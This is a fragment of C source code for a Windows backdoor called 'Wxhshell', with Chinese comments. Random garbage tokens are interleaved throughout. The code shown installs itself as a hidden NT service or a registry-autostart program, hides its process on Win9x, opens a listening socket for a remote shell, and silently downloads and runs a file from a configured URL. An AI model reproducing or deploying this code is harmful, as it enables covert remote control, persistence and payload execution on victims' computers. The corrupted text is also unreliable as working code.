O#\$u if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SQ4^sk_! cLf90|YFp CloseHandle(hProcess); L{%L*z9J m1;Htw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8fP2qj0 if(hProcess==NULL) return 0; ^7aqe*|vm *P=3Pl?j HMODULE hMod; n!/0yR2S char procName[255]; Bam.B6- unsigned long cbNeeded; pJ/]\>#5 @e3+Gs if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {L7Pha
>
UZ-['H CloseHandle(hProcess); KMIe%2:b5 >=; -: if(strstr(procName,"services")) return 1; // 以服务启动 g:Qq%' )
~=pt&+ return 0; // 注册表启动 auK9wQ%\ } \{ EVRRXn gPk,nB // 主模块 :k1?I'q% int StartWxhshell(LPSTR lpCmdLine) -#f.}H' { TF:'6#p SOCKET wsl; hb3:,c( BOOL val=TRUE; 7wx=# int port=0; G|Et'k.F4 struct sockaddr_in door; u.X]K:Yow [E
a{); if(wscfg.ws_autoins) Install(); u>lt}0 g,JfT^ port=atoi(lpCmdLine); .4%z$(+6 h6D4CT if(port<=0) port=wscfg.ws_port; )mm0PJF~q _{k*JT2 WSADATA data; >B0AJW/u if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P".}Y[GD }qECpKa0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6}E>B{Y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yk?bz door.sin_family = AF_INET; R%RbC!P door.sin_addr.s_addr = inet_addr("127.0.0.1"); >JE+j= door.sin_port = htons(port); T4.wz
58 ;99oJD, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N E9,kWI closesocket(wsl); wkZwtq return 1; ,gQl_Amvz } uxTgK'3 Hj{.{V if(listen(wsl,2) == INVALID_SOCKET) { 8*0QVFn$ closesocket(wsl); Bp7p X return 1; Li5&^RAo|J } xS1n,gTA Wxhshell(wsl); USyc D` WSACleanup(); )v;O2z n5d8^c! 2 return 0; `YqtI/-w 6o#/[Tz } c46-8z$ Qa=Y?=Za // 以NT服务方式启动 PSq?8. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /";tkad^ { p}!i_P DWORD status = 0; ASbIc"S6 DWORD specificError = 0xfffffff; DW7E ]o
h s',f serviceStatus.dwServiceType = SERVICE_WIN32; Zu|NF
uFI serviceStatus.dwCurrentState = SERVICE_START_PENDING; J;_4
3eS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AA=Ob$2$ serviceStatus.dwWin32ExitCode = 0; D^@@ P serviceStatus.dwServiceSpecificExitCode = 0; D{B?2}X serviceStatus.dwCheckPoint = 0; O
ixqou serviceStatus.dwWaitHint = 0; {4 Yxh8 Bz } nP9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %9>w|%+;U+ if (hServiceStatusHandle==0) return; $t%IJT M5WB.L[@q status = GetLastError(); F&wAre< if (status!=NO_ERROR) mh}D[K=~% { LH4#p%Pb% serviceStatus.dwCurrentState = SERVICE_STOPPED; 0C :8X
serviceStatus.dwCheckPoint = 0; =|i_T%a serviceStatus.dwWaitHint = 0; %htI!b+"@ serviceStatus.dwWin32ExitCode = status; 3*</vo#` serviceStatus.dwServiceSpecificExitCode = specificError; C+**!uYIB SetServiceStatus(hServiceStatusHandle, &serviceStatus); _"
9 q(1 return; Ps@']]4>W } c0Ih$z 9 o,`peH serviceStatus.dwCurrentState = SERVICE_RUNNING; o+.L@3RT4 serviceStatus.dwCheckPoint = 0; {FFdMdxy- serviceStatus.dwWaitHint = 0; MBt\"b#t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &'fER- } pSlc (M> L/jaUt[, // 处理NT服务事件,比如:启动、停止 ExtC\(X; VOID WINAPI NTServiceHandler(DWORD fdwControl) P0}B&B/a: { VrRF2(Kn? switch(fdwControl) zF`a:dD$d { 6Pl|FIJF case SERVICE_CONTROL_STOP: VVSt,/SO serviceStatus.dwWin32ExitCode = 0; JY CMW!~ serviceStatus.dwCurrentState = SERVICE_STOPPED; hYzP6?K" serviceStatus.dwCheckPoint = 0; >Gpq{Ph[ serviceStatus.dwWaitHint = 0; 4q] 6[/ { -/?)0E SetServiceStatus(hServiceStatusHandle, &serviceStatus); gNW+Dq|X% } ^ELZ35=qZ return; C,+ case SERVICE_CONTROL_PAUSE: 5vLXMdN serviceStatus.dwCurrentState = SERVICE_PAUSED; '/xynk%)xw break; ljK?2z> case SERVICE_CONTROL_CONTINUE: `]W9Fj<1j serviceStatus.dwCurrentState = SERVICE_RUNNING; :-jbIpj' break; qj~=qV0p case SERVICE_CONTROL_INTERROGATE: OS#aYER~/ break; >G|RVB }; F 6sQeU SetServiceStatus(hServiceStatusHandle, &serviceStatus); y\_+,G0 } FcM)v"bF&] 1?&|V1vc // 标准应用程序主函数
gra6&&^" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;j1
SSHZ { ;av!fK Dc0=gq0 // 获取操作系统版本 ZXs,TaU OsIsNt=GetOsVer(); 3]vVuQK . GetModuleFileName(NULL,ExeFile,MAX_PATH); `C: 7N=9 D'!JV1Q // 从命令行安装 gamB]FPZ if(strpbrk(lpCmdLine,"iI")) Install(); s\mA3t 8:& !F`o // 下载执行文件 < +* if(wscfg.ws_downexe) { =,zB|sjn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PMTrG78p* WinExec(wscfg.ws_filenam,SW_HIDE); c#{|sR5 } [j/|)cj 7_ oUuNw if(!OsIsNt) { wuXQa
wo // 如果时win9x,隐藏进程并且设置为注册表启动 H8w[{'Mei
HideProc(); R*bx&..< StartWxhshell(lpCmdLine); sPQjB[ } S~:uOm2t\ else r2#G|/=@ if(StartFromService()) lUjZ=3"' // 以服务方式启动 _<f%==
I' StartServiceCtrlDispatcher(DispatchTable); [4#HuO@h else QP\:wi // 普通方式启动 #$W5)6ch StartWxhshell(lpCmdLine); ~v(c9I) 7u;N/@ return 0; 05H:ZrUV }
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